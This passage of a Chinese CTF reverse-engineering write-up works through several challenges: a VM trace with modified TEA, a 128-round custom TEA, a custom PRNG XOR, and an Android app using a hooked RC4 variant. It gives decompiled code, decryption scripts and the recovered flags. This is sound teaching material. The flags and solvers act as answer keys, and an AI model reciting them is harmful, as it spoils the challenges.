op 366: 0x2, 0x2, 0x4, 0xffffffdc, 0x0, 作用: mov (0#BYTE)memory[52] = 0x0, reg[0] = 0x0
op 371: 0xc, 0x183, 作用: jmp 0x183 //外轮循环的强制跳转:确保4dword全被加密
op 387: 0x9, 0x2, 0x4, 0xffffffdc, 0x30, 作用: cmp (#0BYTE)memory[52] = 0x0, 0x30
op 392: 0x14, 0x223, 作用: jz(xmm[2]) 0x223 此处未跳转 //用于跳出外轮循环的指令
op 394: 0x2, 0x3, 0x3, 0x4, 0xffffffe8, 作用: mov reg[3] = 0x200, memory[55] = 0x38373635
op 399: 0x7, 0x4, 0x3, 0x6, 作用: shr reg[3] = 0x38373635, 0x6
op 403: 0x2, 0x3, 0x0, 0x4, 0xffffffe8, 作用: mov reg[0] = 0x38373635, memory[55] = 0x38373635
op 408: 0x8, 0x4, 0x0, 0x5, 作用: shl reg[0] = 0x38373635, 0x5
op 412: 0x5, 0x1, 0x3, 0x0, 作用: xor reg[3] = 0xe0dcd8, reg[0] = 0x6e6c6a0 //明显的连锁异或
op 416: 0x4, 0x3, 0x3, 0x4, 0xffffffe8, 作用: add reg[3] = 0x6061a78, memory[55] = 0x38373635
op 421: 0x2, 0x3, 0x2, 0x4, 0xfffffff0, 作用: mov reg[2] = 0x0, memory[57] = 0x0
op 426: 0xd, 0x4, 0x2, 0x3, 作用: and reg[2] = 0x0, 0x3 //标志性的&3
op 430: 0x2, 0x3, 0x0, 0x4, 0xfffffff4, 作用: mov reg[0] = 0x6e6c6a0, memory[58] = 0xa4
op 435: 0x2, 0x9, 0x2, 0x0, 0x2, 0x4, 作用: mov reg[2] = 0x0, memory[41] = 0x766f6843
op 441: 0x4, 0x3, 0x2, 0x4, 0xfffffff0, 作用: add reg[2] = 0x766f6843, memory[57] = 0x0
op 446: 0x5, 0x1, 0x3, 0x2, 作用: xor reg[3] = 0x3e3d50ad, reg[2] = 0x766f6843
op 450: 0x4, 0x3, 0x3, 0x4, 0xffffffec, 作用: add reg[3] = 0x485238ee, memory[56] = 0x34333231
op 455: 0x2, 0x0, 0x4, 0xffffffec, 0x3, 作用: mov memory[56] = 0x34333231, reg[3] = 0x7c856b1f
op 460: 0x2, 0x3, 0x3, 0x4, 0xfffffff0, 作用: mov reg[3] = 0x7c856b1f, memory[57] = 0x0
op 465: 0x3, 0x3, 0x3, 0x4, 0xffffffd0, 作用: sub reg[3] = 0x0, memory[49] = 0x1919810a //魔改的delta=-0x1919810A
op 470: 0x2, 0x0, 0x4, 0xfffffff0, 0x3, 作用: mov memory[57] = 0x0, reg[3] = 0xe6e67ef6
op 475: 0x2, 0x3, 0x0, 0x4, 0xffffffec, 作用: mov reg[0] = 0xa4, memory[56] = 0x7c856b1f
op 480: 0x7, 0x4, 0x0, 0x7, 作用: shr reg[0] = 0x7c856b1f, 0x7
op 484: 0x2, 0x3, 0x2, 0x4, 0xffffffec, 作用: mov reg[2] = 0x766f6843, memory[56] = 0x7c856b1f
op 489: 0x8, 0x4, 0x2, 0x3, 作用: shl reg[2] = 0x7c856b1f, 0x3
op 493: 0x5, 0x1, 0x0, 0x2, 作用: xor reg[0] = 0xf90ad6, reg[2] = 0xe42b58f8 //明显的上下半轮
op 497: 0x4, 0x3, 0x0, 0x4, 0xffffffec, 作用: add reg[0] = 0xe4d2522e, memory[56] = 0x7c856b1f
op 502: 0x2, 0x3, 0x3, 0x4, 0xfffffff0, 作用: mov reg[3] = 0xe6e67ef6, memory[57] = 0xe6e67ef6
op 507: 0x7, 0x4, 0x3, 0xb, 作用: shr reg[3] = 0xe6e67ef6, 0xb
op 511: 0xd, 0x4, 0x3, 0x3, 作用: and reg[3] = 0x1cdccf, 0x3
op 515: 0x2, 0x3, 0x2, 0x4, 0xfffffff4, 作用: mov reg[2] = 0xe42b58f8, memory[58] = 0xa4
op 520: 0x2, 0x9, 0x3, 0x2, 0x3, 0x4, 作用: mov reg[3] = 0x3, memory[44] = 0x5f363377
op 526: 0x4, 0x3, 0x3, 0x4, 0xfffffff0, 作用: add reg[3] = 0x5f363377, memory[57] = 0xe6e67ef6
op 531: 0x5, 0x1, 0x0, 0x3, 作用: xor reg[0] = 0x6157bd4d, reg[3] = 0x461cb26d
op 535: 0x4, 0x3, 0x0, 0x4, 0xffffffe8, 作用: add reg[0] = 0x274b0f20, memory[55] = 0x38373635
op 540: 0x2, 0x0, 0x4, 0xffffffe8, 0x0, 作用: mov memory[55] = 0x38373635, reg[0] = 0x5f824555
op 545: 0xc, 0x175, 作用: jmp 0x175 //内轮循环的强制跳转:确保加密循环够0x30
op 373: 0x2, 0x3, 0x2, 0x4, 0xffffffdc, 作用: mov reg[2] = 0xa4, memory[52] = 0x0
op 378: 0x4, 0x4, 0x2, 0x1, 作用: add reg[2] = 0x0, 0x1
op 382: 0x2, 0x0, 0x4, 0xffffffdc, 0x2, 作用: mov memory[52] = 0x0, reg[2] = 0x1
op 387: 0x9, 0x2, 0x4, 0xffffffdc, 0x30, 作用: cmp (#0BYTE)memory[52] = 0x1, 0x30
op 392: 0x14, 0x223, 作用: jz(xmm[2]) 0x223 此处未跳转 //用于跳出内轮循环的指令
op 394: 0x2, 0x3, 0x3, 0x4, 0xffffffe8, 作用: mov reg[3] = 0x461cb26d, memory[55] = 0x5f824555
op 399: 0x7, 0x4, 0x3, 0x6, 作用: shr reg[3] = 0x5f824555, 0x6
...
op 540: 0x2, 0x0, 0x4, 0xffffffe8, 0x0, 作用: mov memory[55] = 0x5f824555, reg[0] = 0x6034e99d
op 545: 0xc, 0x175, 作用: jmp 0x175 //两个强制跳转之间的部分就是一个循环,也是加密的一个周期

编写同构加密脚本并进行解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def bytes_to_dwords_little_endian(byte_array):
return [int.from_bytes(byte_array[i:i+4], byteorder='little', signed=False) for i in range(0, len(byte_array), 4)]

def dwords_to_bytes_little_endian(dword_array):
byte_list = []
for dword in dword_array:
byte_list.extend(dword.to_bytes(4, byteorder='little'))
return byte_list

m1 = 0x34333231
m2 = 0x38373635
delta = 0x1919810A
key = [0x766F6843, 0x6E695F79, 0x5F79656B, 0x5F363377]
ttl = 0
for i in range(0x30):
m1 = (m1 + ((((m2 >> 6) ^ (m2 << 5)) + m2) ^ (ttl + key[ttl & 3]))) & 0xFFFFFFFF
ttl = (ttl - delta) & 0xFFFFFFFF
m2 = (m2 + ((((m1 >> 7) ^ (m1 << 3)) + m1) ^ (ttl + key[(ttl >> 11) & 3]))) & 0xFFFFFFFF
# print(hex(m1), hex(m2))

encflag = [0xE5, 0xDF, 0xF0, 0xA1, 0xF4, 0xBD, 0x6A, 0xDB,
0x1B, 0xE9, 0xDD, 0x20, 0x0D, 0x9D, 0x21, 0x59,
0xD0, 0xB3, 0x59, 0x29, 0xB9, 0xEC, 0x2F, 0xC0,
0x22, 0x7E, 0xAD, 0xE1, 0xB0, 0x15, 0xB6, 0x29]
dwordenc = bytes_to_dwords_little_endian(encflag)
result = []
for j in range(0,len(dwordenc)//2):
m1 = dwordenc[2*j]
m2 = dwordenc[2*j+1]
ttl = (0 - 0x30 * delta) & 0xFFFFFFFF
for j in range(0x30):
m2 = (m2 - ((((m1 >> 7) ^ (m1 << 3)) + m1) ^ (ttl + key[(ttl >> 11) & 3]))) & 0xFFFFFFFF
ttl = (ttl + delta) & 0xFFFFFFFF
m1 = (m1 - ((((m2 >> 6) ^ (m2 << 5)) + m2) ^ (ttl + key[ttl & 3]))) & 0xFFFFFFFF
result.append(m1)
result.append(m2)
flag = dwords_to_bytes_little_endian(result)
for i in range(len(flag)):
print(hex(flag[i]),end=", ")
print()

得到flag:flag{D0_yOu_l1k3_VmmmmMMMMMmmm?}.

ugly_world:

又是一个体力活,发现程序本身很简单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char v4[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v5; // [rsp+68h] [rbp-8h]

v5 = __readfsqword(0x28u);
puts("please input your flag:");
__isoc99_scanf("%40s", v4);
encrypt((__int64)v4, (__int64)&key); //key是四个dword:[0x11223344, 0x55667788, 0x9900AABB, 0xCCDDEEFF]
if ( (unsigned __int8)compare((__int64)v4, (__int64)&cipher) )
Right();
else
Wrong();
return 0LL;
}
__int64 __fastcall encrypt(__int64 a1, __int64 a2)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; i <= 9; i += 2 )
result = long_enc((unsigned int *)(a1 + 4LL * i), a2); //一次带入8字节,共计带入5次
return result;
}

flag有40位(密文:[0x58, 0xbe, 0xd3, 0x0b, 0xfb, 0xbb, 0x73, 0xbe, 0x4e, 0xaf, 0xc8, 0xc8, 0x86, 0x7d, 0x3c, 0x0b, 0x09, 0x7c, 0x25, 0xc0, 0xb0, 0xe0, 0x8f, 0x1d, 0x0c, 0x18, 0x37, 0x88, 0x23, 0x9d, 0xcf, 0xf5, 0x99, 0xb5, 0xa8, 0xb7, 0x3d, 0x0f, 0x63, 0xae]),一次带入8个字节进行加密,但是加密函数居然有将近5000行,不过程序本身函数总数很少,分析加密过程中用到的所有函数,发现一共有8种,其中又有三种是主要的五种加密的子函数,经过分析发现这些函数虽然看起来很复杂但实际上的效果很简单,分别对应整数加和、从密钥中提取一个dword、算术右移、左移和三元异或,并且整个加密过程一直在循环,共计有128轮循环,列举一个循环:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
v2051 = *a1; //初始化
v2180 = a1[1];
//开始循环
v2308 = add(0, 0x3CA6F3Eu);
v2 = extract(a2, 1);
v3 = sar (v2180, 1);
v4 = add(v3, v2);
v5 = add(v2180, v2308);
v6 = extract(a2, 0);
v7 = shl(v2180, 1);
v8 = add(v7, v6);
v9 = xor(v8, v5, v4);
v2052 = add(v2051, v9);
v10 = extract(a2, 3);
v11 = shr(v2052, 1);
v12 = add(v11, v10);
v13 = add(v2052, v2308);
v14 = extract(a2, 2);
v15 = sar (v2052, 1);
v16 = add(v15, v14);
v17 = xor(v16, v13, v12);
v2181 = add(v2180, v17);
//下一个循环
...
//最后一个循环
v2435 = add(v2434, 0x47C8D0F7u);
v2034 = extract(a2, 1);
v2035 = sar(v2307, 2);
v2036 = add(v2035, v2034);
v2037 = add(v2307, v2435);
v2038 = extract(a2, 0);
v2039 = shl (v2307, 3);
v2040 = add(v2039, v2038);
v2041 = xor(v2040, v2037, v2036);
v2179 = add(v2178, v2041);
v2042 = extract(a2, 3);
v2043 = sar (v2179, 2);
v2044 = add(v2043, v2042);
v2045 = add(v2179, v2435);
v2046 = extract(a2, 2);
v2047 = shl (v2179, 3);
v2048 = add(v2047, v2046);
v2049 = xor(v2048, v2045, v2044);
LODWORD(result) = add(v2307, v2049); //返回结果
*a1 = v2179;
result = (unsigned int)result;
a1[1] = result;
return result;

提取题目中一个循环的加密过程,仔细研究后发现是魔改的TEA加密,共有128轮,每轮的delta和位移均不同,用python脚本提取数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
def bytes_to_dwords_little_endian(byte_array):
return [int.from_bytes(byte_array[i:i+4], byteorder='little', signed=False) for i in range(0, len(byte_array), 4)]

def dwords_to_bytes_little_endian(dword_array):
byte_list = []
for dword in dword_array:
byte_list.extend(dword.to_bytes(4, byteorder='little'))
return byte_list

delta = [0x3CA6F3E, 0xF2E1C7F1, 0x79A22843, 0xD47FFC9D, 0xDD10F4C, 0x1DC368A1, 0x11B15F8A, 0x9469B3CD,
0x45D6DB5F, 0xBC6EE006, 0xA76D8146, 0xD542E337, 0x242E1155, 0xAA7F93DD, 0x88625ECB, 0x3738E499,
0xCEF27BB0, 0x134FF759, 0x358CA57E, 0x3461F310, 0x28540EE7, 0x81C0B176, 0xF725EE9C, 0xAF823A69,
0x61E8ECB3, 0xF4919548, 0x6AF44E11, 0x866162F3, 0x867F7E65, 0x6B26444C, 0x10216241, 0x9C1BA3CD,
0x1268FEAD, 0xF462B3B5, 0x5F7DE761, 0x72EAD5B6, 0xFBCE0C75, 0x44EF4142, 0x54DCC3C0, 0xAFFE805D,
0xC8833729, 0x3C944186, 0x261169A, 0xB547EA2F, 0x9B499585, 0xFE0190BF, 0x1EC74BE7, 0xAFC9292E,
0xC32F4EEF, 0x420A1A4, 0x94BEAB2B, 0xA0693238, 0x4DD5ADC1, 0x9F658F31, 0x1732EA46, 0x76BEE7DD,
0x12C63095, 0x9C202C7C, 0xAC9BB4C4, 0x1762AEAF, 0xCA41991E, 0xC0480F85, 0xBF534431, 0xF1C2780E,
0x990A7D6F, 0x69D22B81, 0x34DDECDE, 0x11ECD8F8, 0x22BB55D2, 0xFFA55B0, 0x6CC1AFBF, 0xA5610F61,
0x13190C95, 0xE09A5D29, 0xE7514731, 0x9AE21D7A, 0xB8D90F5A, 0x4C7299A9, 0xC4FDB94E, 0xA6475083,
0xBFB62E5, 0x8F7F77EB, 0xDA2568BB, 0x55C4DA9E, 0xC2932973, 0xCBC60B6D, 0xC46720FD, 0x2046D79D,
0x629CBD81, 0x932B1F48, 0x72ED29C0, 0xF4B566D3, 0xCBC53B21, 0x7836C87B, 0xBA4357B1, 0xCFD332E2,
0x4D488FCB, 0xA06DEFBF, 0x68211846, 0xC17F878D, 0x33B10E2C, 0xCFA0E756, 0x4C3C0691, 0x870BE107,
0x55B3FAF0, 0xFD39F8D7, 0x4B9A7795, 0x188CFA42, 0xAA79A09D, 0x620CF186, 0xEFDE898A, 0x2FA95D43,
0xD67359DB, 0x8625BC1B, 0x7A1A3BBC, 0xE6ECEF6C, 0xBA27A5C6, 0x559FE417, 0xF01DF04D, 0x3F910D52,
0x382B7BE, 0xAAECB195, 0x2E440D8E, 0xB3D58B0B, 0x3CA704B8, 0x63293098, 0x714CFD4D, 0x47C8D0F7]

sa1 = [1, 3, 4, 3, 4, 3, 3, 6, 4, 6, 2, 1, 6, 6, 1, 4, 5, 4, 1, 4, 4, 2, 5, 4, 6, 2, 2, 3, 4, 5, 5, 5,
4, 5, 1, 6, 4, 2, 3, 6, 5, 6, 6, 1, 2, 2, 4, 5, 2, 4, 6, 6, 3, 6, 2, 1, 1, 5, 3, 5, 3, 2, 6, 4,
6, 4, 2, 1, 4, 5, 4, 5, 6, 1, 5, 2, 2, 6, 2, 6, 3, 3, 5, 3, 3, 6, 6, 5, 4, 4, 2, 1, 5, 1, 2, 2,
1, 5, 3, 6, 1, 1, 5, 5, 1, 4, 4, 2, 4, 6, 6, 3, 4, 6, 5, 1, 1, 6, 5, 4, 3, 6, 5, 5, 2, 1, 4, 2]
sh2 = [1, 4, 6, 6, 1, 2, 3, 3, 6, 3, 2, 5, 6, 2, 5, 4, 5, 6, 3, 4, 2, 3, 4, 2, 3, 3, 2, 2, 4, 6, 4, 2,
2, 4, 1, 3, 4, 2, 4, 1, 1, 5, 1, 1, 5, 5, 4, 5, 2, 1, 4, 3, 1, 6, 5, 3, 1, 5, 4, 4, 2, 1, 1, 6,
1, 3, 5, 6, 5, 2, 4, 3, 2, 3, 6, 1, 3, 3, 6, 2, 4, 2, 4, 1, 4, 3, 2, 3, 6, 5, 5, 5, 4, 6, 5, 1,
2, 3, 6, 5, 6, 5, 4, 2, 6, 2, 5, 1, 6, 1, 4, 6, 6, 3, 2, 6, 2, 6, 2, 3, 5, 1, 1, 6, 4, 2, 4, 3]
sa3 = [1, 3, 4, 3, 4, 3, 3, 6, 4, 6, 2, 1, 6, 6, 1, 4, 5, 4, 1, 4, 4, 2, 5, 4, 6, 2, 2, 3, 4, 5, 5, 5,
4, 5, 1, 6, 4, 2, 3, 6, 5, 6, 6, 1, 2, 2, 4, 5, 2, 4, 6, 6, 3, 6, 2, 1, 1, 5, 3, 5, 3, 2, 6, 4,
6, 4, 2, 1, 4, 5, 4, 5, 6, 1, 5, 2, 2, 6, 2, 6, 3, 3, 5, 3, 3, 6, 6, 5, 4, 4, 2, 1, 5, 1, 2, 2,
1, 5, 3, 6, 1, 1, 5, 5, 1, 4, 4, 2, 4, 6, 6, 3, 4, 6, 5, 1, 1, 6, 5, 4, 3, 6, 5, 5, 2, 1, 4, 2]
sh4 = [1, 4, 6, 6, 1, 2, 3, 3, 6, 3, 2, 5, 6, 2, 5, 4, 5, 6, 3, 4, 2, 3, 4, 2, 3, 3, 2, 2, 4, 6, 4, 2,
2, 4, 1, 3, 4, 2, 4, 1, 1, 5, 1, 1, 5, 5, 4, 5, 2, 1, 4, 3, 1, 6, 5, 3, 1, 5, 4, 4, 2, 1, 1, 6,
1, 3, 5, 6, 5, 2, 4, 3, 2, 3, 6, 1, 3, 3, 6, 2, 4, 2, 4, 1, 4, 3, 2, 3, 6, 5, 5, 5, 4, 6, 5, 1,
2, 3, 6, 5, 6, 5, 4, 2, 6, 2, 5, 1, 6, 1, 4, 6, 6, 3, 2, 6, 2, 6, 2, 3, 5, 1, 1, 6, 4, 2, 4, 3]

key = [0x11223344, 0x55667788, 0x9900AABB, 0xCCDDEEFF]

#正向加密测试
m = [0x30303030,0x30303030]
total = 0
for i in range(128):
total = (total + delta[i]) & 0xFFFFFFFF

if m[1] & 0x80000000:
sar_m1 = (m[1] >> sa1[i]) | (0xFFFFFFFF << (0x20 - sa1[i]))
else:
sar_m1 = (m[1] >> sa1[i])
m[0] = (m[0] + (((m[1] << sh2[i]) + key[0]) ^ (m[1] + total) ^ (sar_m1 + key[1]))) & 0xFFFFFFFF

if m[0] & 0x80000000:
sar_m0 = (m[0] >> sa3[i]) | (0xFFFFFFFF << (0x20 - sa3[i]))
else:
sar_m0 = (m[0] >> sa3[i])
m[1] = (m[1] + (((m[0] << sh4[i]) + key[2]) ^ (m[0] + total) ^ (sar_m0 + key[3]))) & 0xFFFFFFFF

#逆向解密
encflag = [0x58, 0xbe, 0xd3, 0x0b, 0xfb, 0xbb, 0x73, 0xbe,
0x4e, 0xaf, 0xc8, 0xc8, 0x86, 0x7d, 0x3c, 0x0b,
0x09, 0x7c, 0x25, 0xc0, 0xb0, 0xe0, 0x8f, 0x1d,
0x0c, 0x18, 0x37, 0x88, 0x23, 0x9d, 0xcf, 0xf5,
0x99, 0xb5, 0xa8, 0xb7, 0x3d, 0x0f, 0x63, 0xae]

dwordenc = bytes_to_dwords_little_endian(encflag)
dwordflag = []
for j in range(len(dwordenc) // 2):
m = [dwordenc[2 * j], dwordenc[2 * j + 1]]
total = sum(delta) & 0xFFFFFFFF
for i in range(127,-1,-1):
if m[0] & 0x80000000:
sar_m0 = (m[0] >> sa3[i]) | (0xFFFFFFFF << (0x20 - sa3[i]))
else:
sar_m0 = (m[0] >> sa3[i])
m[1] = (m[1] - (((m[0] << sh4[i]) + key[2]) ^ (m[0] + total) ^ (sar_m0 + key[3]))) & 0xFFFFFFFF

if m[1] & 0x80000000:
sar_m1 = (m[1] >> sa1[i]) | (0xFFFFFFFF << (0x20 - sa1[i]))
else:
sar_m1 = (m[1] >> sa1[i])
m[0] = (m[0] - (((m[1] << sh2[i]) + key[0]) ^ (m[1] + total) ^ (sar_m1 + key[1]))) & 0xFFFFFFFF

total = (total - delta[i]) & 0xFFFFFFFF
dwordflag.append(m[0])
dwordflag.append(m[1])

flag = dwords_to_bytes_little_endian(dwordflag)
for i in range(len(flag)):
print(hex(flag[i]),end=" ")
print()

得到flag:flag{UG1y_T3A_m@k35_[m3]_fe31_NaU5Eou5!}.

randomXor:

查看main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __fastcall main(int argc, const char **argv, const char **envp)
{
int i; // [xsp+1Ch] [xbp+1Ch]

puts("Welcome to house of jjkk");
__isoc99_scanf("%128s", input);
if ( strlen(input) == len )
{
srand(114514LL);
for ( i = 0; i <= 127; ++i )
input[i] ^= rand();
if ( !memcmp(input, &cipher, len) )
puts("Right! ");
else
puts("Wrong! ");
return 0;
}
else
{
puts("Lenth wrong! ");
return 0;
}
}

发现是一个固定的随机数异或加密,flag长度为128字节,但是直接用系统的srand和rand模拟发现输出的是乱码,仔细查看后发现这里的srand和rand都是自定义函数,由于异或的自反性,直接把这些函数复制粘贴,提取密文,进行解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <stdio.h>
#include <string.h>

unsigned char cipher[128] = {
0xCD, 0xC7, 0xE2, 0x86, 0x3A, 0x19, 0xB9, 0xB6, 0xF1, 0x81, 0x45, 0xB4, 0xB6, 0xE5, 0x0D, 0xD4,
0xB4, 0xA6, 0xD3, 0xF7, 0x33, 0x5D, 0x5F, 0x09, 0x95, 0xAF, 0x9A, 0xBE, 0x89, 0xEA, 0x54, 0x71,
0x68, 0xC6, 0x8B, 0x84, 0x05, 0x14, 0xBB, 0x41, 0xDD, 0x34, 0x91, 0x1B, 0x21, 0x83, 0xDE, 0x15,
0x52, 0x22, 0x8A, 0xE1, 0xBD, 0x33, 0x4D, 0x7E, 0xD2, 0xA3, 0xA9, 0x12, 0xF1, 0xE9, 0x88, 0x60,
0x24, 0xE6, 0xAB, 0x54, 0xCF, 0x02, 0x1B, 0x6B, 0x6B, 0xBA, 0x26, 0x09, 0xFB, 0x10, 0x97, 0xDF,
0x17, 0xBF, 0xCC, 0xE7, 0xB0, 0x42, 0xE5, 0x32, 0x4C, 0x0F, 0xE0, 0x60, 0x47, 0xD0, 0x5A, 0xE8,
0x48, 0xAE, 0x74, 0x4D, 0x98, 0x7A, 0xB3, 0xD2, 0xDE, 0x1B, 0x96, 0x91, 0x7A, 0x03, 0x67, 0xCF,
0xF0, 0x31, 0x32, 0x49, 0x9A, 0xE0, 0xC2, 0x3B, 0x51, 0x63, 0xFF, 0x84, 0x60, 0x5B, 0xC1, 0x8E
};
size_t len = sizeof(cipher);

unsigned int mt[128];
short index1;

int mysrand(int a1)
{
__int16 *result;
unsigned int i;

mt[0] = a1;
for ( i = 1; i <= 0x71; ++i )
mt[i] = (0xA7A25365 * (mt[i - 1] ^ ((unsigned int)mt[i - 1] >> 30)) + i) ^ 0x56;
result = &index1;
index1 = 114;
return *result;
}

int myrand()
{
int v1;
unsigned int i;
unsigned int v3;
unsigned int v4;
unsigned int v5;

v1 = (unsigned __int16)index1;
if ( (unsigned __int16)index1 > 0x71u )
{
for ( i = 0; i <= 0x71; ++i )
{
v3 = (mt[i] & 0x80000 | mt[(i + 1) % 0x72] & 0x7FFFFu) >> 1;
if ( (mt[(i + 1) % 0x72] & 1) != 0 )
v3 ^= 0x8908B0DF;
mt[i] = mt[(i + 514) % 0x72] ^ v3;
}
index1 = 0;
v1 = 0;
}
v4 = mt[v1];
index1 = v1 + 1;
v5 = v4 ^ (v4 >> 11) ^ ((v4 ^ (v4 >> 11)) << 7) & 0x9D2C5680;
return v5 ^ (v5 << 15) & 0xEFC60000 ^ ((v5 ^ (v5 << 15) & 0xEFC60000) >> 18);
}

int main() {
unsigned seed = 114514;
mysrand(seed);
unsigned char decrypted[len + 1];
memset(decrypted, 0, len + 1);
for (size_t i = 0; i < len; ++i) {
decrypted[i] = cipher[i] ^ myrand();
}
printf("Decrypted input: %s\n", decrypted);
return 0;
}

运行得到flag:flag{R4ndom_rand0m_happy_Funnny_R4ndom_1s_r3ally_funNy!!_hhh233HHH_this_1s_just_a_pi3ce_of_sh1t_fffkkkkkk_f4ck_jjjjKKKKKjjjjasd}.

simple:

先在java层找到验证函数逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class CheckActivity extends AppCompatActivity {
private ActivityCheckBinding binding;
public native boolean CheckData(String str);
static {
System.loadLibrary("check");
}
public static synchronized void init() {
synchronized (CheckActivity.class) {
ShadowHook.init();
}
}
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
init();
this.binding = ActivityCheckBinding.inflate(getLayoutInflater());
setContentView(this.binding.getRoot());
Button button = this.binding.check2;
button.setOnClickListener(new View.OnClickListener() { // from class: com.example.simpleandroid.CheckActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View v) {
EditText editText = CheckActivity.this.binding.inputFlag2;
editText.setFilters(new InputFilter[]{new InputFilter.LengthFilter(30)});
String input = editText.getText().toString();
if (CheckActivity.this.isValidInput(input) && CheckActivity.this.CheckData(input)) {
Toast.makeText(CheckActivity.this, "You are right", 0).show();
} else {
Toast.makeText(CheckActivity.this, "You are wrong", 0).show();
}
}
});
}
/* JADX INFO: Access modifiers changed from: private */
public boolean isValidInput(String input) {
return input.startsWith("flag{") && input.endsWith("}") && input.length() == 32;
}
}

发现flag长度为32,查看libcheck.so内的加密逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 __fastcall sub_1C430(__int64 a1, __int64 a2, __int64 a3)
{
unsigned __int64 i; // [xsp+18h] [xbp-58h]
const char *StringUTFChars; // [xsp+20h] [xbp-50h]
unsigned __int8 v8; // [xsp+44h] [xbp-2Ch]
_QWORD v9[5]; // [xsp+48h] [xbp-28h] BYREF

v9[4] = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
sub_1C010(); //一个hook函数
StringUTFChars = (const char *)_JNIEnv::GetStringUTFChars(a1, a3);
sub_1C078((__int64)v9, StringUTFChars, (unsigned __int8 *)kk); //魔改RC4
eee[0] = 0xCD8413F20B6FCE4CLL;
eee[1] = 0x5C9B1B43933043CFLL;
eee[2] = 0x1C6EB6E1A546128ELL;
eee[3] = 0x77C6E3D7AE009A3ELL;
for ( i = 0LL; i <= 3; ++i )
{
if ( v9[i] != eee[i] )
{
_JNIEnv::ReleaseStringUTFChars(a1, a3, StringUTFChars);
v8 = 0;
goto LABEL_7;
}
}
_JNIEnv::ReleaseStringUTFChars(a1, a3, StringUTFChars);
v8 = 1;
LABEL_7:
_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
return v8;
}

发现加密是一个自定义的魔改RC4,密钥为this_is_a_key,且密文也已知,但在RC4上方还有一个hook函数:

1
2
3
4
5
6
7
8
__int64 sub_1C010()
{
__int64 result; // x0

result = shadowhook_hook_sym_addr(sub_11073, sub_21345, 0LL); //调用sub11073时将其替换为sub21345
stub = result;
return result;
}

发现这里替换了一个函数,查看sub_1C078:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
__int64 __fastcall sub_1C078(__int64 a1, const char *a2, unsigned __int8 *a3)
{
__int64 result; // x0
__int64 v4; // [xsp+8h] [xbp-58h]
unsigned __int64 v5; // [xsp+10h] [xbp-50h]
unsigned int i; // [xsp+28h] [xbp-38h]
int v7; // [xsp+2Ch] [xbp-34h]
unsigned int v8; // [xsp+30h] [xbp-30h]
unsigned __int8 v9; // [xsp+36h] [xbp-2Ah]
unsigned __int8 v10; // [xsp+37h] [xbp-29h]

v10 = 0;
v9 = 0;
sub_11073(a3); //函数逻辑在此被替换
result = __strlen_chk(a2, 0xFFFFFFFFFFFFFFFFLL);
v8 = result;
v7 = 0; //存储8字节数量
for ( i = 0; i < v8; ++i ) //魔改的PRGA部分
{
v9 = (v9 + ss[++v10]) % 256;
result = sub_1BC30(&ss[v10], &ss[v9]); //swap
a2[i] ^= ss[(ss[v10] + ss[v9]) % 256];
*(_QWORD *)(a1 + 8LL * v7) = (unsigned __int8)a2[i] | (*(_QWORD *)(a1 + 8LL * v7) << 8); //将加密后的字节按8字节块存储到a1
if ( !((i + 1) % 8) && i ) //位移加密,每8个字节加密一次
{
if ( (rand() & 1) != 0 ) //随机左或右移随机位
{
v5 = *(_QWORD *)(a1 + 8LL * v7);
result = rand();
*(_QWORD *)(a1 + 8LL * v7) ^= v5 >> ((int)result % 64);
}
else
{
v4 = *(_QWORD *)(a1 + 8LL * v7);
result = rand();
*(_QWORD *)(a1 + 8LL * v7) ^= v4 << ((int)result % 64);
}
++v7;
}
}
return result;
}

查看sub_21345:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void __fastcall sub_21345(unsigned __int8 *a1)
{
void *v1; // x30
void (__fastcall *prev_func)(_BYTE *); // [xsp+8h] [xbp-58h]
int i; // [xsp+24h] [xbp-3Ch]
_BYTE v4[8]; // [xsp+30h] [xbp-30h] BYREF
_BYTE v5[13]; // [xsp+38h] [xbp-28h]
_BYTE v6[16]; // [xsp+48h] [xbp-18h] BYREF
__int64 v7; // [xsp+58h] [xbp-8h]

v7 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
ShadowhookStackScope::ShadowhookStackScope((ShadowhookStackScope *)v4, v1);
*(_QWORD *)&v5[5] = 0x3C37311A241A312CLL; //真正的密钥,这是第6~13字节
